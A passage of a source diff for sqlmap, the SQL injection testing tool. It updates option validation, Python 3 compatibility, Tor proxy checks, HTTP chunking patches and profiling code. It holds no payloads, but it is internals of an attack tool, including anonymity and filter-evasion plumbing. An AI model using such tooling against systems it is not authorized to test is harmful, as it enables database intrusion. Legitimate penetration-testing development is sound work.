kb.uChar = NULL + kb.udfFail = False kb.unionDuplicates = False - kb.wafSpecificResponse = None + kb.unionTemplate = None + kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: + kb.checkSitemap = None kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) + kb.lastCtrlCTime = None + kb.normalizeCrawlingChoice = None kb.passwordMgr = None + kb.postprocessFunctions = [] + kb.preprocessFunctions = [] kb.skipVulnHost = None + kb.storeCrawlingChoice = None kb.tamperFunctions = [] - kb.targets = oset() + kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True @@ -1955,18 +2269,18 @@ def _useWizardInterface(): while not conf.url: message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + conf.url = readInput(message, default=None, checkBatch=False) - message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) - if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): - warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): + warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True - logger.warn(warnMsg) + logger.warning(warnMsg) choice = None @@ -1994,11 +2308,14 @@ def _useWizardInterface(): choice = readInput(message, default='1') if choice == '2': - map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE) + options = WIZARD.INTERMEDIATE elif choice == '3': - map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) + options = WIZARD.ALL else: - map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC) + options = WIZARD.BASIC + + for _ in options: + conf.__setitem__(_, True) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 @@ -2119,6 +2436,13 @@ def _mergeOptions(inputOptions, overrideOptions): if hasattr(conf, key) and conf[key] is None: conf[key] = value + if conf.unstable: + if key in ("timeSec", "retries", "timeout"): + conf[key] *= 2 + + if conf.unstable: + conf.forcePartial = True + lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) @@ -2212,7 +2536,7 @@ def _setTorHttpProxySettings(): warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" @@ -2228,9 +2552,26 @@ def _setTorSocksProxySettings(): # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) - socks.wrapmodule(urllib2) + socks.wrapmodule(_http_client) + +def _setHttpOptions(): + if conf.chunked and conf.data: + if hasattr(_http_client.HTTPConnection, "_set_content_length"): + _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None + else: + def putheader(self, header, *values): + if header != HTTP_HEADER.CONTENT_LENGTH: + self._putheader(header, *values) + + if not hasattr(_http_client.HTTPConnection, "_putheader"): + _http_client.HTTPConnection._putheader = _http_client.HTTPConnection.putheader + + _http_client.HTTPConnection.putheader = putheader + + if conf.http10: + _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' -def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF @@ -2247,11 +2588,12 @@ def _checkTor(): logger.info(infoMsg) try: - page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) - except SqlmapConnectionException: - page = None + page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) + tor_status = json.loads(page) + except (SqlmapConnectionException, TypeError, ValueError): + tor_status = None - if not page or 'Congratulations' not in page: + if not tor_status or not tor_status.get("IsTor"): errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: @@ -2278,17 +2620,30 @@ def _basicOptionValidation(): if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" - logger.warn(warnMsg) + logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) + if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): + warnMsg = "usage of switch '--random-agent' is strongly recommended when " + warnMsg += "using option '--proxy-file'" + logger.warning(warnMsg) + if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.uValues and conf.uChar: + errMsg = "option '--union-values' is incompatible with option '--union-char'" + raise SqlmapSyntaxException(errMsg) + + if conf.base64Parameter and conf.tamper: + errMsg = "option '--base64' is incompatible with option '--tamper'" + raise SqlmapSyntaxException(errMsg) + if conf.eta and conf.verbose > defaults.verbose: errMsg = "switch '--eta' is incompatible with option '-v'" raise SqlmapSyntaxException(errMsg) @@ -2305,10 +2660,6 @@ def _basicOptionValidation(): errMsg = "option '-d' is incompatible with option '--dbms'" raise SqlmapSyntaxException(errMsg) - if conf.identifyWaf and conf.skipWaf: - errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" - raise SqlmapSyntaxException(errMsg) - if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) @@ -2317,6 +2668,10 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + raise SqlmapSyntaxException(errMsg) + if conf.api and not conf.configFile: errMsg = "switch '--api' requires usage of option '-c'" raise SqlmapSyntaxException(errMsg) @@ -2341,6 +2696,13 @@ def _basicOptionValidation(): errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) + if conf.crawlDepth: + try: + xrange(conf.crawlDepth) + except OverflowError as ex: + errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) @@ -2360,6 +2722,35 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.paramExclude: + if re.search(r"\A\w+,", conf.paramExclude): + conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) + + try: + re.compile(conf.paramExclude) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.retryOn: + try: + re.compile(conf.retryOn) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.retries == defaults.retries: + conf.retries = 5 * conf.retries + + warnMsg = "increasing default value for " + warnMsg += "option '--retries' to %d because " % conf.retries + warnMsg += "option '--retry-on' was provided" + logger.warning(warnMsg) + + if conf.cookieDel and len(conf.cookieDel) != 1: + errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" + raise SqlmapSyntaxException(errMsg) + if conf.crawlExclude: try: re.compile(conf.crawlExclude) @@ -2367,6 +2758,13 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.scope: + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) @@ -2379,8 +2777,8 @@ def _basicOptionValidation(): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: @@ -2403,6 +2801,14 @@ def _basicOptionValidation(): errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) + if conf.csrfMethod and not conf.csrfToken: + errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfData and not conf.csrfToken: + errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) @@ -2419,7 +2825,7 @@ def _basicOptionValidation(): errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) - if not conf.tech: + if not conf.technique: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) @@ -2435,6 +2841,10 @@ def _basicOptionValidation(): errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) + if conf.proxyFreq and not conf.proxyFile: + errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" + raise SqlmapSyntaxException(errMsg) + if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) @@ -2451,6 +2861,11 @@ def _basicOptionValidation(): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) + if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): + errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " + errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR + raise SqlmapSyntaxException(errMsg) + if conf.skip and conf.testParameter: if intersect(conf.skip, conf.testParameter): errMsg = "option '--skip' is incompatible with option '-p'" @@ -2469,19 +2884,19 @@ def _basicOptionValidation(): errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) - if conf.timeSec < 1: - errMsg = "value for option '--time-sec' must be a positive integer" + if conf.alert and conf.alert.startswith('-'): + errMsg = "value for option '--alert' must be valid operating system command(s)" raise SqlmapSyntaxException(errMsg) - if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): - errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" + if conf.timeSec < 1: + errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)): + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) - if isinstance(conf.uCols, basestring): + if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" @@ -2502,19 +2917,13 @@ def _basicOptionValidation(): else: conf.encoding = _ - if conf.loadCookies: - if not os.path.exists(conf.loadCookies): - errMsg = "cookies file '%s' does not exist" % conf.loadCookies - raise SqlmapFilePathException(errMsg) + if conf.fileWrite and not os.path.isfile(conf.fileWrite): + errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) + raise SqlmapFilePathException(errMsg) -def _resolveCrossReferences(): - lib.core.threads.readInput = readInput - lib.core.common.getPageTemplate = getPageTemplate - lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage - lib.request.connect.setHTTPHandlers = _setHTTPHandlers - lib.utils.search.setHTTPHandlers = _setHTTPHandlers - lib.controller.checks.setVerbosity = setVerbosity - lib.controller.checks.setWafFunctions = _setWafFunctions + if conf.loadCookies and not os.path.exists(conf.loadCookies): + errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) + raise SqlmapFilePathException(errMsg) def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() @@ -2545,15 +2954,15 @@ def init(): _setMultipleTargets() _listTamperingFunctions() _setTamperingFunctions() - _setWafFunctions() + _setPreprocessFunctions() + _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() - _resolveCrossReferences() - _checkWebSocket() + _setHttpOptions() parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -2567,8 +2976,8 @@ def init(): _setSocketPreConnect() _setSafeVisit() _doSearch() + _setStdinPipeTargets() _setBulkMultipleTargets() - _setSitemapTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index b72cdffe4d4..c38e61eefde 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,6 @@ "sessionFile": "string", "googleDork": "string", "configFile": "string", - "sitemapUrl": "string", }, "Request": { @@ -28,9 +27,12 @@ "paramDel": "string", "cookie": "string", "cookieDel": "string", + "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", + "http2": "boolean", "agent": "string", + "mobile": "boolean", "randomAgent": "boolean", "host": "string", "referer": "string", @@ -38,13 +40,15 @@ "authType": "string", "authCred": "string", "authFile": "string", - "ignoreCode": "integer", + "abortCode": "string", + "ignoreCode": "string", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", "proxy": "string", "proxyCred": "string", "proxyFile": "string", + "proxyFreq": "integer", "tor": "boolean", "torPort": "integer", "torType": "string", @@ -52,6 +56,7 @@ "delay": "float", "timeout": "float", "retries": "integer", + "retryOn": "string", "rParam": "string", "safeUrl": "string", "safePost": "string", @@ -60,7 +65,11 @@ "skipUrlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", + "csrfMethod": "string", + "csrfData": "string", + "csrfRetries": "integer", "forceSSL": "boolean", + "chunked": "boolean", "hpp": "boolean", "evalCode": "string", }, @@ -78,6 +87,7 @@ "skip": "string", "skipStatic": "boolean", "paramExclude": "string", + "paramFilter": "string", "dbms": "string", "dbmsCred": "string", "os": "string", @@ -98,16 +108,18 @@ "notString": "string", "regexp": "string", "code": "integer", + "smart": "boolean", "textOnly": "boolean", "titles": "boolean", }, "Techniques": { - "tech": "string", + "technique": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", "uFrom": "string", + "uValues": "string", "dnsDomain": "string", "secondUrl": "string", "secondReq": "string", @@ -137,6 +149,7 @@ "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", + "getStatements": "boolean", "db": "string", "tbl": "string", "col": "string", @@ -149,7 +162,7 @@ "limitStop": "integer", "firstChar": "integer", "lastChar": "integer", - "query": "string", + "sqlQuery": "string", "sqlShell": "boolean", "sqlFile": "string", }, @@ -157,6 +170,7 @@ "Brute": { "commonTables": "boolean", "commonColumns": "boolean", + "commonFiles": "boolean", }, "User-defined function": { @@ -192,49 +206,60 @@ }, "General": { - # "xmlFile": "string", "trafficFile": "string", + "abortOnEmpty": "boolean", + "answers": "string", "batch": "boolean", + "base64Parameter": "string", + "base64Safe": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", + "cleanup": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", + "dumpFile": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", + "googlePage": "integer", "harFile": "string", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", + "postprocess": "string", + "preprocess": "string", + "repair": "boolean", "saveConfig": "string", "scope": "string", + "skipHeuristics": "boolean", + "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", - "updateAll": "boolean", + "timeLimit": "float", + "unsafeNaming": "boolean", + "webRoot": "string", }, "Miscellaneous": { "alert": "string", - "answers": "string", "beep": "boolean", - "cleanup": "boolean", "dependencies": "boolean", "disableColoring": "boolean", - "googlePage": "integer", - "identifyWaf": "boolean", + "disableHashing": "boolean", "listTampers": "boolean", - "mobile": "boolean", + "noLogging": "boolean", + "noTruncate": "boolean", "offline": "boolean", "purge": "boolean", - "skipWaf": "boolean", - "smart": "boolean", + "resultsFile": "string", "tmpDir": "string", - "webRoot": "string", + "unstable": "boolean", + "updateAll": "boolean", "wizard": "boolean", "verbose": "integer", }, @@ -246,9 +271,6 @@ "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", - "liveTest": "boolean", - "stopFail": "boolean", - "runCase": "string", }, "API": { diff --git a/lib/core/patch.py b/lib/core/patch.py index 49a458431b5..86a5c4e6be0 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,14 +1,52 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs -import httplib +import collections +import inspect +import logging +import os +import random +import re +import sys +import lib.controller.checks +import lib.core.common +import lib.core.convert +import lib.core.option +import lib.core.threads +import lib.request.connect +import lib.utils.search +import lib.utils.sqlalchemy +import thirdparty.ansistrm.ansistrm +import thirdparty.chardet.universaldetector + +from lib.core.common import filterNone +from lib.core.common import getSafeExString +from lib.core.common import isDigit +from lib.core.common import isListLike +from lib.core.common import readInput +from lib.core.common import shellExec +from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange +from lib.core.convert import stdoutEncode +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.core.option import _setHTTPHandlers +from lib.core.option import setVerbosity +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN +from lib.request.templates import getPageTemplate +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client + +_rand = 0 def dirtyPatches(): """ @@ -16,7 +54,19 @@ def dirtyPatches(): """ # accept overly long result lines (e.g. SQLi results in HTTP header responses) - httplib._MAXLINE = 1 * 1024 * 1024 + _http_client._MAXLINE = 1 * 1024 * 1024 + + # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) + if six.PY3: + if not hasattr(_http_client.HTTPConnection, "__send_output"): + _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + + def _send_output(self, *args, **kwargs): + if conf.get("chunked") and "encode_chunked" in kwargs: + kwargs["encode_chunked"] = False + self.__send_output(*args, **kwargs) + + _http_client.HTTPConnection._send_output = _send_output # add support for inet_pton() on Windows OS if IS_WIN: @@ -24,3 +74,167 @@ def dirtyPatches(): # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) + + # Reference: http://bugs.python.org/issue17849 + if hasattr(_http_client, "LineAndFileWrapper"): + def _(self, *args): + return self._readline() + + _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline + _http_client.LineAndFileWrapper.readline = _ + + # to prevent too much "guessing" in case of binary data retrieval + thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + + match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) + if match and match.group(1).upper() != PLACE.POST: + PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 + try: + os.urandom(1) + except NotImplementedError: + if six.PY3: + os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) + else: + os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 + try: + import collections + if not hasattr(collections, "MutableSet"): + import collections.abc + collections.MutableSet = collections.abc.MutableSet + except ImportError: + pass + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 + # Reference: https://stackoverflow.com/a/14076841 + try: + import pymysql + pymysql.install_as_MySQLdb() + except (ImportError, AttributeError): + pass + + # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py + # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec + if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): + ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) + + def makelist(data): + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] + + def getargspec(func): + spec = inspect.getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return ArgSpec(kwargs, spec[1], spec[2], spec[3]) + + inspect.getargspec = getargspec + + # Installing "reversible" unicode (decoding) error handler + def _reversible(ex): + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + + codecs.register_error("reversible", _reversible) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 + if not hasattr(logging, "_acquireLock"): + def _acquireLock(): + if logging._lock: + logging._lock.acquire() + + logging._acquireLock = _acquireLock + + if not hasattr(logging, "_releaseLock"): + def _releaseLock(): + if logging._lock: + logging._lock.release() + + logging._releaseLock = _releaseLock + + from xml.etree import ElementTree as et + if not getattr(et, "_patched", False): + _real_parse = et.parse + + def _safe_parse(source, parser=None): + if parser is None: + parser = et.XMLParser() + if hasattr(parser, "parser"): + def reject(*args): raise ValueError("XML entities are forbidden") + parser.parser.EntityDeclHandler = reject + parser.parser.UnparsedEntityDeclHandler = reject + + return _real_parse(source, parser=parser) + + et.parse = _safe_parse + et._patched = True + +def resolveCrossReferences(): + """ + Place for cross-reference resolution + """ + + lib.core.threads.isDigit = isDigit + lib.core.threads.readInput = readInput + lib.core.common.getPageTemplate = getPageTemplate + lib.core.convert.filterNone = filterNone + lib.core.convert.isListLike = isListLike + lib.core.convert.shellExec = shellExec + lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage + lib.core.option._pympTempLeakPatch = pympTempLeakPatch + lib.request.connect.setHTTPHandlers = _setHTTPHandlers + lib.utils.search.setHTTPHandlers = _setHTTPHandlers + lib.controller.checks.setVerbosity = setVerbosity + lib.utils.sqlalchemy.getSafeExString = getSafeExString + thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode + +def pympTempLeakPatch(tempDir): + """ + Patch for "pymp" leaking directories inside Python3 + """ + + try: + import multiprocessing.util + multiprocessing.util.get_temp_dir = lambda: tempDir + except: + pass + +def unisonRandom(): + """ + Unifying random generated data across different Python versions + """ + + def _lcg(): + global _rand + a = 1140671485 + c = 128201163 + m = 2 ** 24 + _rand = (a * _rand + c) % m + return _rand + + def _randint(a, b): + _ = a + (_lcg() % (b - a + 1)) + return _ + + def _choice(seq): + return seq[_randint(0, len(seq) - 1)] + + def _sample(population, k): + return [_choice(population) for _ in xrange(k)] + + def _seed(seed): + global _rand + _rand = seed + + random.choice = _choice + random.randint = _randint + random.sample = _sample + random.seed = _seed diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 9ba1dd4c74b..a5936beadfe 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,99 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import codecs -import os import cProfile +import os -from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths -from lib.core.settings import UNICODE_ENCODING -def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): +def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ - try: - __import__("gobject") - from thirdparty.gprof2dot import gprof2dot - from thirdparty.xdot import xdot - import gtk - import pydot - except ImportError as ex: - errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex) - errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" - logger.error(errMsg) - - return - if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") - if dotOutputFile is None: - dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") - - if imageOutputFile is None: - imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") - if os.path.exists(profileOutputFile): os.remove(profileOutputFile) - if os.path.exists(dotOutputFile): - os.remove(dotOutputFile) - - if os.path.exists(imageOutputFile): - os.remove(imageOutputFile) - - infoMsg = "profiling the execution into file '%s'" % profileOutputFile - logger.info(infoMsg) - # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) - infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile - logger.info(infoMsg) - - # Create dot file by using extra/gprof2dot/gprof2dot.py - # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) - parser = gprof2dot.PstatsParser(profileOutputFile) - profile = parser.parse() - profile.prune(0.5 / 100.0, 0.1 / 100.0) - dot = gprof2dot.DotWriter(dotFilePointer) - dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) - dotFilePointer.close() - - infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile + infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) - - # Create graph image (png) by using pydot (python-pydot) - # http://code.google.com/p/pydot/ - pydotGraph = pydot.graph_from_dot_file(dotOutputFile) - - # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ - if isinstance(pydotGraph, list): - pydotGraph = pydotGraph[0] - - try: - pydotGraph.write_png(imageOutputFile) - except OSError: - errMsg = "profiling requires graphviz installed " - errMsg += "(Hint: 'sudo apt-get install graphviz')" - logger.error(errMsg) - else: - infoMsg = "displaying interactive graph with xdot library" - logger.info(infoMsg) - - # Display interactive Graphviz dot file by using extra/xdot/xdot.py - # http://code.google.com/p/jrfonseca/wiki/XDot - win = xdot.DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter("dot") - win.open_file(dotOutputFile) - gtk.main() diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 5e16f689eb6..31349171be7 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,16 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -from lib.core.data import logger -from lib.core.settings import IS_WIN -from lib.core.settings import PLATFORM - _readline = None - try: from readline import * import readline as _readline @@ -21,6 +16,10 @@ except: pass +from lib.core.data import logger +from lib.core.settings import IS_WIN +from lib.core.settings import PLATFORM + if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() @@ -35,7 +34,7 @@ # Thanks to Boyd 